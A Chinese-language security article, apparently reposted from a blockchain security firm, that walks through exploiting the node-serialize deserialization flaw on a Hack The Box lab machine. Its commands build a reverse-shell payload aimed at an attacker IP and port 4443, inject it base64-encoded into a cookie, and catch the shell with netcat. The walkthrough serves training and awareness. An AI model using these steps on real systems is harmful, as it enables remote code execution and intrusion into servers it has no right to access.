Node.js反序列化攻擊漏洞區(qū)塊鏈
導語:WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執(zhí)行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScriptIIFE(立即執(zhí)行函數(shù)表達式),攻擊者可以利用惡意代碼(不受信任的數(shù)據(jù)),在反序列化過程中遠程執(zhí)行任意代碼。
導語:
WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執(zhí)行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執(zhí)行函數(shù)表達式),攻擊者可以利用惡意代碼(不受信任的數(shù)據(jù)),在反序列化過程中遠程執(zhí)行任意代碼。
WF曲速區(qū)表示:Node.js是一個Javascript服務器端的運行環(huán)境。它封裝了Google V8引擎。 Google V8引擎可以快速運行具有高性能的Javascript。Node.js優(yōu)化某些特殊情況并提供替代APls,使Google V8引擎能夠在非瀏覽器環(huán)境中更有效地運行。
但是Node。js的序列化過程中仍然存在遠程代碼執(zhí)行漏洞。Node.js的node-serialize庫有一個漏洞。通過傳輸JavaScript IIFE,攻擊者可以使用惡意代碼(不受信任的數(shù)據(jù))在反序列化中遠程運行任意代碼。
關于漏洞(反序列化攻擊)
不受信任的數(shù)據(jù)被傳遞到unserialize()函數(shù),這導致我們可以繞過JavaScript對象的立即調(diào)用的函數(shù)表達式IIFE來實現(xiàn)任意代碼執(zhí)行。
所以你的步驟是在apt-get命令的幫助下安裝nodejs包,如下所示:
命令:apt-get install nodejs
在下一步中,您需要在CURL命令的幫助下安裝npm實用程序(有關使用npm進一步安裝node-serialize包),如下所示:
命令:curl -L https://www.npmjs.com/install.sh |SH
一旦你安裝和配置Nodejs和Npm,只需在npm的幫助下輸入node-serialize包,輸入“npm install node-serialize”,如下所示:
另一方面,我們已經(jīng)與HacktheBox服務器連接,其服務器的漏洞節(jié)點機器IP為10.10.10.85:3000(運行Nodejs Express Framework,您可以使用Nmap Scanning進一步確認)
因此,在第一步中,您需要在最受歡迎的代理攔截工具之一(即Burp Suite)的幫助下捕獲上述Nodejs易受攻擊IP的GET請求,如下所示:
在第二步中,只需選擇cookie值并將其發(fā)送到Decoder選項卡以進行進一步解密。
此易受攻擊的Web應用程序中的漏洞是,它從HTTP請求中讀取名為profile的cookie,執(zhí)行cookie值的base64解碼并將其傳遞給unserialize()函數(shù)。由于cookie是不受信任的輸入,攻擊者可以利用惡意cookie值來利用此漏洞。
第三步,要安裝Nodejs Security Toolkit,請在終端中鍵入以下命令。
命令:git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
導航到下載的文件夾并運行以下命令以創(chuàng)建反向shell有效內(nèi)容,該有效負載將javascript代碼評估為字符串。
首先,您需要通過鍵入“ifconfig”找出隧道IP,然后運行以下命令:
命令: python nodejsshell.py 10.10.14.145 4443
這是最終反向shell有效負載的輸出。
現(xiàn)在讓我們使用以下javascript生成序列化的有效負載。
代碼:
用大括號{eval(String.from ......... })添加上面的有效負載輸出,如下所示:
將文件另存為exploit.js并使用node命令運行,該命令生成最終的序列化有效負載,如下所示:
命令:node exploit.js
現(xiàn)在回到BurpSuite并導航到Decoder選項卡并將上面的輸出代碼粘貼到Textarea中,然后在解碼之前,在函數(shù)體之后添加IIFE括號(),如下所示:
在這里,我們需要執(zhí)行相同的Base64編碼,然后在Cookie標頭值中使用編碼的有效負載向Web服務器發(fā)出請求。
現(xiàn)在要發(fā)出請求,您需要向Repeater 選項卡發(fā)送相同的請求。
在Repeater選項卡中,您需要將cookie值替換為我們從上面步驟生成的base64編碼值,然后單擊GO按鈕。
并排,確保您的netcat服務正在偵聽相同的端口,即4443(反向shell負載的相同端口)
命令:nc -lvp 4443
一旦你單擊Go按鈕,請求將命中到服務器,顯示200 OK響應,并顯示一條錯誤消息“發(fā)生錯誤...無效的用戶名類型”,并立即在netcat終端中與該服務器連接,狀態(tài)為“已連接”。
區(qū)塊鏈安全公司W(wǎng)F曲速未來提醒:本實踐實現(xiàn)了Node.js 反序列化漏洞遠程執(zhí)行代碼的演示,并對漏洞進行了詳細的分析。該漏洞本質(zhì)上是構造Payload傳入unserrialize()函數(shù)進行反序列化:使用JavaScript的立即調(diào)用函數(shù)表達式(IIFE),當對象被創(chuàng)建時,將 該JavaScript 對象傳入 serialize() 函數(shù),輸出exploit將其傳入unserialize() 函數(shù),可以實現(xiàn)任意代碼執(zhí)行。危害不容小覷。
1.TMT觀察網(wǎng)遵循行業(yè)規(guī)范,任何轉載的稿件都會明確標注作者和來源;
2.TMT觀察網(wǎng)的原創(chuàng)文章,請轉載時務必注明文章作者和"來源:TMT觀察網(wǎng)",不尊重原創(chuàng)的行為TMT觀察網(wǎng)或將追究責任;
3.作者投稿可能會經(jīng)TMT觀察網(wǎng)編輯修改或補充。